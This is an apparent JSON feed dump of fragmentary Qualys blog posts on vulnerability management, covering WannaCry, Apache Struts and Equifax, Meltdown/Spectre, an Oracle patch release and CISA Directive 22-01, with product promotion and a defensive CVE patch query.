[reported](<https://blog.qualys.com/news/2018/03/02/apple-in-the-infosec-spotlight-as-github-falls-prey-to-amplified-ddos-attack>) on the troubling trend among hackers of using unprotected Memcached servers to dramatically [amplify the intensity](<https://www.darkreading.com/attacks-breaches/memcached-servers-being-exploited-in-huge-ddos-attacks/d/d-id/1331149?>) of their DDoS attacks. GitHub was on the receiving end of such a DDoS attack last week, which at the time was considered [the most intense ever](<http://www.zdnet.com/article/github-was-hit-with-the-largest-ddos-attack-ever-seen/>).\n\nWell, that record lasted for only a few days. This week, Arbor Networks [detected](<https://www.arbornetworks.com/blog/asert/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/>) an even stronger DDoS attack against an unnamed customer of a U.S.-based service provider.

Should I start deploying patches, and then go from there? I\u2019m going to argue that that\u2019s not always the case,\u201d Gill Langston, a Product Management Director at Qualys, said Wednesday during a presentation at RSA Conference 2018.\n\n### The right approach\n\nWhat security teams should aim for is a coherent, appropriate and rational response plan that is grounded in a factual and comprehensive assessment of the situation, said Langston, whose presentation was titled \u201cThe Sky Is Falling! Responding Rationally to Headline Vulnerabilities.\u201d\n\n\u201cHow can I put this together and send something back to the C-level executives that says: \u2018This is my recommendation for now.\u2019 It may not always be to go deploy the patches,\u201d Langston said. \u201cCreate a plan, and then react, review and improve it over time.\u201d\n\nA key step in dealing effectively with this type of \u201cnews event\u201d vulnerabilities is to have a proper and solid vulnerability management and remediation program in place. That way, organizations are in a better position to do a precise risk assessment of disclosed bugs on a continuous basis, according to Langston.\n\nThis also means that when a high profile vulnerability is announced, security teams have a head start. That way, they don\u2019t have to go back to square one to ensure they are in fact identifying all assets before they can start to react.\n\nOrganizations will be able to pick the most appropriate course of action, which depending on the case, can be to patch right away, to mitigate when remediation is complex, or to monitor and wait before acting.\n\nBelow are three recent examples of each scenario.\n\n### Patch now, unless you \u201cwanna cry\u201d later\n\nMost organizations should have prioritized patching the vulnerability that was exploited by the WannaCry ransomware, way before the attack was unleashed, according to Langston. Instead, the [WannaCry attack](<https://blog.qualys.com/news/2017/05/19/no-more-tears-wannacry-highlights-importance-of-prompt-precise-vulnerability-remediation>) infected 300,000-plus systems and disrupted critical operations globally.\n\nMicrosoft disclosed the Windows vulnerability ([MS17-010](<https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>)) in mid-March 2017 and made a patch available. At the time, Microsoft rated the vulnerability as \u201cCritical\u201d due to the potential for attackers to execute remote code in affected systems.\n\nThe vulnerability also had a number of other red flags that made it stand out as a particularly concerning one. In mid-April, the vulnerability became even more dangerous when the [Shadow Brokers hacker group](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) released an exploit for it called EternalBlue.\n\nSo organizations had a window of about two months to install the patch before WannaCry was unleashed in mid-May. Had most affected systems been patched, WannaCry\u2019s impact would have been minor.\n\n\u201cIn most cases, organizations that follow the standard patching cycle of 30 days, they were already protected. And two months in, you got a second shot at it,\u201d he said.\n\nLangston displayed a graph with Qualys vulnerability scanning data showing that between mid-March and mid-April, detection of affected devices spiked and gradually declined as organizations scanned and patched their systems.\n\n\n\nHowever, the number of vulnerable systems shoots up after the EternalBlue release, after organizations apparently expanded the initial scope of scanned IT assets. \n\nAnd there\u2019s an important lesson here. \u201cWhen you\u2019re dealing with a vulnerability that can jump around your network, if you\u2019re not identifying all of the assets, you\u2019re already behind the eight ball,\u201d he said.\n\nThe graph shows that widespread patching didn\u2019t fully kick in until after the WannaCry attacks began.\n\nFom WannaCry, Langston identified some key no-nos: A slow identification of all at-risk assets; a tendency by IT operations teams to treat all issues with similar urgency; and a complacency among end users to delay rebooting their machines to finish the patching process.\n\n### Strut your firewall\n\nLangston then discussed the Struts web application vulnerability that was exploited most famously at Equifax, leading to that consumer credit reporting agency's massive data breach. On the same day that Struts was disclosed, and a patch made available, an exploit was also released, so the risk was high.\n\nBecause web application vulnerabilities tend to be difficult to remediate, often requiring a rebuild and long testing cycles, Struts highlights the importance of mitigation. In this case, a good plan would have been to use a[ web application firewall,](<https://blog.qualys.com/technology/2017/03/09/qualys-waf-2-0-protects-against-critical-apache-struts2-vulnerability-cve-2017-5638?>) while patching was in progress, he said. \n\n### Meltdown and Spectre: All bark and no bite?\n\nThen there are the Spectre and Meltdown vulnerabilities, which caused widespread alarm upon their disclosure in early January of this year, but for which there are only ineffective proof-of-concept exploits so far.\n\nIn the panic that was created, vendors such as Microsoft and Intel released faulty patches that IT departments rushed to apply, only to have to react after they caused system problems, including data corruption and performance issues.\n\nQualys data of vulnerability scans for Meltdown shows an initial push to install OS patches, followed by a long plateau of inactivity, as organizations probably weighed the fact that there were no exploits, and that the patches were problematic.\n\nA big lesson from Meltdown and Spectre? \u201cJust because it\u2019s in the news doesn\u2019t mean it\u2019s an emergency,\u201d Langston said. In other words, it\u2019s an example of a scenario where the most prudent thing to do is to monitor the situation and wait, instead of rushing to patch.\n\n### Best practices\n\nLangston recommends these six tips for crafting the best response to a notoriously public vulnerability:\n\n * Identify high-risk vulnerabilities often\n * Track the specific risk to your organization\n * Determine the best course of action\n * Decide when to communicate with internal stakeholders\n * Update regularly\n * Work the plan and improve it\n\nIt\u2019s also key to get buy-in from all the teams that will be involved in drafting, approving and executing the plan, including executives, security operations, DevOps, and IT operations. \u201cBuild the playbook together,\u201d he said.\n\nThe response plan should have four main elements:\n\n * Preparation, which involves ensuring that all assets are identified, that the triggers are documented and that the communication outreach is built\n * Reaction, which involves working the playbook, deciding on the course of action (fix, wait or mitigate), and communicating with your users\n * Revision, which involves reviewing the outcomes of the executed plan, and identifying improvement areas\n * Improvement, which involves collaboration to refine the response, modifying the plan based on findings, and extending the plan to all high-severity vulnerabilities\n\nThis should all amount to a rational, measured response, instead of to a knee-jerk reaction that leads to erratic, misguided decisions and actions.\n\n\u201cIf you don\u2019t have some response plan, you end up bouncing off of each other, pointing fingers and slowing down the entire process,\u201d he said.\n\nBelow is a checklist template that Langston suggests could be helpful in analyzing how to best respond to a \u201cheadline vulnerability\u201d.\n\n \nHere\u2019s how that checklist might look when filled out by a hypothetical organization for the Meltdown vulnerability.\n\n\n\nThis information can also be enriched and expanded using automated dashboards with threat feeds and other resources that are updated in real time and that allow security teams to do in depth analysis of relevant data.\n\nThe goal is that in the face of a headline-blaring vulnerability, organizations can come up with a well thought and sensible plan. \u201cA methodical approach leads to a rational response,\u201d Langston said.", "cvss3": {}, "published": "2018-04-19T23:00:03", "type": "qualysblog", "title": "The Sky Is Falling!

Among those, 41% of the breaches were carried out by exploiting a vulnerability.\n\n\u201cThis is really representative of the problems we\u2019re seeing in the industry with prioritization and getting patches deployed, and this is only increasing,\u201d he said.\n\n\u201cIn a post-Equifax world, VM is coming under increased scrutiny,\u201d Zelonis added, alluding to the massive data breach suffered by the credit reporting agency in 2017 after hackers exploited the Apache Struts vulnerability (CVE-2017-5638), which had been disclosed about six months before.\n\nRead on to learn valuable best practices for prioritizing remediation, and how Qualys can help your organization overcome this critical challenge.\n\n### Vulnerability management and prioritization tips\n\nAccording to Zelonis, the vulnerability risk management process has four main steps: \n\n * Asset identification\n * Enumeration of assets\n * Prioritization of patching\n * Remediation\n\nWhen assigning remediation priorities, it\u2019s key to examine the severity of the vulnerabilities in the context of each asset. \n\nFor example, it should be a top priority to remediate a critical vulnerability in an asset that\u2019s highly important. However, remediating that same vulnerability may not be a top priority when it\u2019s present in an asset of medium or low importance. \n\nIn vulnerability management, it\u2019s also helpful to use threat intelligence not just to detect threats, but to also preemptively patch using threat landscape trends as a guide.\n\n\u201cIt\u2019s important to understand how a vulnerability can be exploited so you can take a look at at the assets within your organization to figure out where patches need to be prioritized and applied,\u201d Zelonis said.\n\nThreat intelligence is also essential for security teams to be able to communicate effectively with C-level executives and board members, who are increasingly interested in staying informed about the organization\u2019s security posture and strategy.\n\n\u201cOnce you\u2019ve made it relevant to them, they\u2019re going to need to understand what you\u2019re doing to mitigate the situations and perhaps allocate additional budget where necessary,\u201d he said.\n\nIt\u2019s also important to communicate this information not just to the higher-ups, but also horizontally across other IT teams such as operations, and across business units, because vulnerability remediation requires cross-functional collaboration.\n\n\u201cThis is a major gap we see with organizations who are struggling to get items patched: The security team\u2019s priorities aren\u2019t echoed nor understood outside of the security team,\u201d he said.\n\nThe goal here is to make these other teams aware of the real risk and potential business impact of particular vulnerabilities.\n\nUltimately, organizations should evolve from vulnerability management to vulnerability risk management. That way, the focus isn\u2019t just on reducing false positives, but rather on assessing critical data points and metrics to attain an understanding of risk, according to Zelonis.\n\n### Qualys: Asset visibility, vulnerability management and threat prioritization\n\nWith Qualys, you\u2019ll get complete visibility of your IT assets wherever they reside -- on premises, in clouds or at remote endpoints -- and you\u2019ll be able to continuously detect and asses all your vulnerabilities, and precisely prioritize remediation.\n\nWith proper vulnerability management, you \u201cimmunize\u201d your IT assets against opportunistic attacks which are designed to exploit common, well-known bugs and which are the most likely to hit your network.\n\nLet\u2019s look at three Qualys products that work in tandem to provide you with this asset visibility, vulnerability detection and remediation prioritization.\n\n_Qualys AssetView_\n\n[Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) automates collection and categorization of IT and security information, and provides a unified view of this data.\n\n\u201cIt brings IT and security data together,\u201d Qualys Product Management Director Jimmy Graham said during the webcast, titled \u201cPrioritization of Vulnerabilities in a Modern IT Environment.\u201d\n\n\n\nThe data, which is fed into the Qualys Cloud Platform for aggregation, indexing, correlation, and analysis, is continuously collected and updated using a variety of sensors, including:\n\n * Physical and virtual appliances that scan IT assets located on-premises, in private clouds, or in virtualized environments\n * Cloud appliances that remotely scan your infrastructure-as-a-service (IaaS) and platform-as-a-service (PaaS) instances in commercial cloud computing platforms\n * Lightweight, all-purpose cloud agents installed on IT assets that continuously monitor them\n\nThe data is made searchable via AssetView\u2019s search engine using ad-hoc queries. In addition, any query can be turned into interactive, continuously updated widgets in AssetView\u2019s customizable and dynamic dashboards. You can also generate detailed and custom-tailored reports.\n\nThis inventory provides both a complete \u201chorizontal\u201d list of IT assets as well as deep \u201cvertical\u201d details for each asset, including hardware specs, installed software, network connections, approved users, applied patches, and open vulnerabilities. \n\nIn addition, Qualys AssetView lets you assign criticality rankings to assets, since not all assets carry the same weight within your organization. Qualys lets you [tag your assets](<https://blog.qualys.com/news/2017/02/28/making-asset-inventory-actionable-with-a-cloud-based-system>), so you put relevant labels on them in the inventory and organize them in multiple ways.\n\n_Qualys Vulnerability Management_\n\n[Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) provides continuous, comprehensive coverage and visibility, as well as constant monitoring and alerts, in a way that makes vulnerability assessment effective in a \u201cperimeter-less world,\u201d according to Graham.\n\n\u201cWe call that \u2018perimeter-less world\u2019 because we collect vulnerabilities from on premises devices, and from private and public clouds. Through the agent, we can collect vulnerability information from roaming devices like laptops that employees may be using in a coffee shop or at home,\u201d he said.\n\n\n\nQualys VM maps all assets on the network, detailing their OS, ports, services and certificates, and scans them for vulnerabilities with Six Sigma 99.99966 percent accuracy. It assigns remediation tickets, manages exceptions, lists patches for each host, and integrates with existing IT ticketing systems.\n\nIn addition, VM generates comprehensive reports customized for different recipients \u2014 like IT pros, business executives or auditors \u2014 and incorporates context and insight, including progress against goals. Via VM\u2019s APIs, the reporting data can be integrated with other security and compliance systems.\n\nWhen VM is paired with the Qualys Continuous Monitoring (CM) app, you\u2019ll be alerted about potential threats \u2014 such as new hosts/OSes, expiring certificates, unexpected open ports and unauthorized software \u2014 so problems can be tackled before turning into breaches. \n\n_Qualys Threat Protection_\n\nTo prioritize remediation work, you must continuously correlate vulnerability disclosures with your organization\u2019s IT asset inventory, so that you get a clear picture of the vulnerabilities that exist in each IT asset.\n\nThis is what [Qualys Threat Protection (TP)](<https://www.qualys.com/apps/threat-protection/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) does, and more.\n\n\n\nQualys TP continuously correlates external real-time threat indicators (RTIs) against your internal vulnerabilities and IT asset data, so you can take full control of evolving threats and identify what to remediate first.\n\n\u201cWhat ties this all together is Qualys Threat Protection,\u201d Graham said.\n\nRTIs add valuable context to a vulnerability, such as whether: \n\n * It\u2019s being actively attacked in the wild\n * There\u2019s an exploit kit available for it\n * It can lead to high data loss or to a denial of service attack\n * It\u2019s a \u201czero day\u201d with no patch available\n\nRegarding IT assets, you should consider factors such as their role in business operations, their interconnectedness with other assets, their Internet exposure and their user base.\n\nOut of this type of in-depth analysis will emerge a clear picture of your threat landscape, and based on it, you\u2019ll be able to come up with an accurate remediation plan.\n\nQualys TP features include:\n\n * Robust Data Analysis\n\nQualys TP continuously correlates external threat information against your vulnerabilities and IT asset inventory, leveraging Qualys Cloud Platform\u2019s robust back-end engine to automate this large-scale and intensive data analysis process. \n\n * Live Threat Intelligence Feed\n\nAs Qualys engineers continuously validate and rate new threats from internal and external sources, Qualys TP\u2019s Live Threat Intelligence Feed displays the latest vulnerability disclosures and maps them to your impacted IT assets. You can see the number of assets affected by each threat, and drill down into asset details.\n\nQualys Threat Protection, working in tandem with [Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) and [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>), helps you to proactively and continuously detect assets and vulnerabilities, and prioritize remediation in your IT environment.\n\n_Watch a recording of the [webcast](<https://www.qualys.com/webcasts/prioritization-vulnerabilities-modern-it-environment/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=webcast&leadsource=344565181>), which has a lot more details, a demo of Qualys Threat Protection, and a Q&A session with the audience._", "cvss3": {}, "published": "2018-05-07T16:00:10", "type": "qualysblog", "title": "How To Prioritize Vulnerabilities in a Modern IT Environment", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-05-07T16:00:10", "id": "QUALYSBLOG:5C311FA52DD78D7015076D492F321DB0", "href": "https://blog.qualys.com/news/2018/05/07/how-to-prioritize-vulnerabilities-in-a-modern-it-environment", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-05-01T13:43:00", "description": "Today Oracle released a total of [299 new security fixes](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) across all product families. It is important to note that it fixed 25 instances of the infamous [Apache Struts vulnerability](<https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution>) which could allow a remote attacker to take complete control of the server running Struts. The struts fix was applied to 19 instances of Oracle Financial Services Applications along with WebCenter, WebLogic, Siebel, Oracle Communications, MySQL and Oracle Retail.\n\nOracle also released [Patch 25878798](<https://updates.oracle.com/download/25878798.html>) for Solaris 10 and 11.3 which fixed the second [Shadow Brokers](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) EXTREMEPARR vulnerability CVE-2017-3622. EXTREMEPARR has a CVSS Base Score of 7.8, and if successfully exploited allows a local privilege escalation in the \u2018dtappgather\u2019 component. The other Shadow Brokers vulnerability CVE-2017-3623 (a.k.a. \u201cEbbisland\u201d or \u201cEbbshave\u201d) was previously addressed by Oracle in several Solaris 10 patch distributions issued since January 26th 2012 and does not affect Solaris 11.\n\nOut of the 299 total fixes MySQL, Financial Services, Retail and Fusion Middleware take the lion\u2019s share of fixes and the distribution is shown in the chart below. Majority of the vulnerabilities in the Financial Services, Retail and Fusion Middleware could be exploited via the HTTP protocol and attackers can take complete control of the system remotely without the need of any credentials.\n\n\n\n \n\nIn databases, MySQL has seen its share of vulnerabilities rise drastically as compared to the Oracle Database server and today\u2019s release was no different with 39 MySQL bugs fixed out of which 11 could be remotely exploitable without authentication. This is a large number as compared to just 3 bugs in the Oracle Database Server. All vulnerabilities for MySQL could be exploited using the MySQL protocol used by clients to connect to the database server and organizations should create a details inventory of their MySQL servers for their exposure within the organization and outside.\n\nJava SE was patched with 8 security fixes out of which 7 are exploitable remotely without authentication. AWT, JCE and other java networking components were affect and could be exploited using FTP, SMTP and multiple other protocols. 21 Sun systems products were patched which included Solaris, Sun ZFS Storage Appliance and Solaris Cluster. Out of these, 8 vulnerabilities can be exploitable remotely. The most affected component in Oracle Linux was the Oracle VM Virtual Box and 6 of these issues are remotely exploitable.\n\nThe chart below shows a list of remotely exploitable vulnerabilities in today's release:\n\n\n\nOverall, this was another large security update with 299 fixes from Oracle touching all product lines, fixing Apache Struts embedded into products and patching a total of 162 remotely exploitable vulnerabilities.", "cvss3": {}, "published": "2017-04-18T21:39:53", "title": "Oracle Plugs Struts and Shadow Brokers hole along with 299 Total Vulnerabilities", "type": "qualysblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-3622", "CVE-2017-5638", "CVE-2017-3623"], "modified": "2017-04-18T21:39:53", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities", "id": "QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-12-27T19:32:53", "description": "[A recent report](<https://www.darkreading.com/threat-intelligence/20-vulnerabilities-to-prioritize-patching-before-2020/d/d-id/1336691>) identified 19+ vulnerabilities that should be mitigated by end of year 2019.

Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive.

9/14/2017]\n\nEquifax has released information and confirmed the vulnerability ([CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>)) that was used in this breach after several days of intense scrutiny around Apache Struts. To make matters worse, there already was a patch available for this flaw in March 2017, two months prior to the incident.\n\n_**1) Updated information on U.S. website application vulnerability.**_ \n_Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement._\n\n### [updates 9/12/2017]\n\nEquifax's efforts in response to this incident can be followed at www.equifaxsecurity2017.com, but the[ site has been called](<https://krebsonsecurity.com/2017/09/equifax-breach-response-turns-dumpster-fire/>) \"completely broken at best, and little more than a stalling tactic or sham at worst.\" And [ isn\u2019t working for many people](<https://www.businessinsider.nl/equifax-data-breach-site-check-angry-response-2017-9/>). So, we leave it up to your best judgment whether you should pay that site a visit .\n\nOver 30 lawsuits have been filed against Equifax following the breach [according to Reuters](<http://www.reuters.com/article/us-equifax-cyber-lawsuits/lawsuits-against-equifax-pile-up-after-massive-data-breach-idUSKCN1BM2E3>).\n\n[Quartz reported](<https://qz.com/1073221/the-hackers-who-broke-into-equifax-exploited-a-nine-year-old-security-flaw/>) that the vulnerability they mentioned was in a popular open-source software package called Apache Struts, which is a programming framework for building web applications in Java. Two vulnerabilities in Struts have been discovered so far in 2017. The vulnerability announced on Sept. 4 has existed in Struts since 2008.\n\nApache responded to that report with [this Apache Struts Statement on Equifax Security Breach](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>).\n\n \n\nOn July 29, 2017, Equifax discovered that attackers had gained unauthorized access to private data belonging to an estimated 143 million Americans by exploiting a vulnerability in a website application. It is unknown at this point whether said vulnerability was a zero-day or had already been patched. The former would indicate that other companies could have also been attacked, while the latter would reflect on Equifax's overall security posture.\n\n[According to Equifax](<https://www.equifaxsecurity2017.com/frequently-asked-questions/>), online criminals maintained their presence from mid-May through July 2017 and had access to:\n\n * Names\n * Social Security numbers\n * Birth dates\n * Addresses\n * Driver\u2019s license numbers (in some cases)\n * Credit card numbers (for approx. 209,000 U.S. consumers)\n\nIt also said that some personal information for 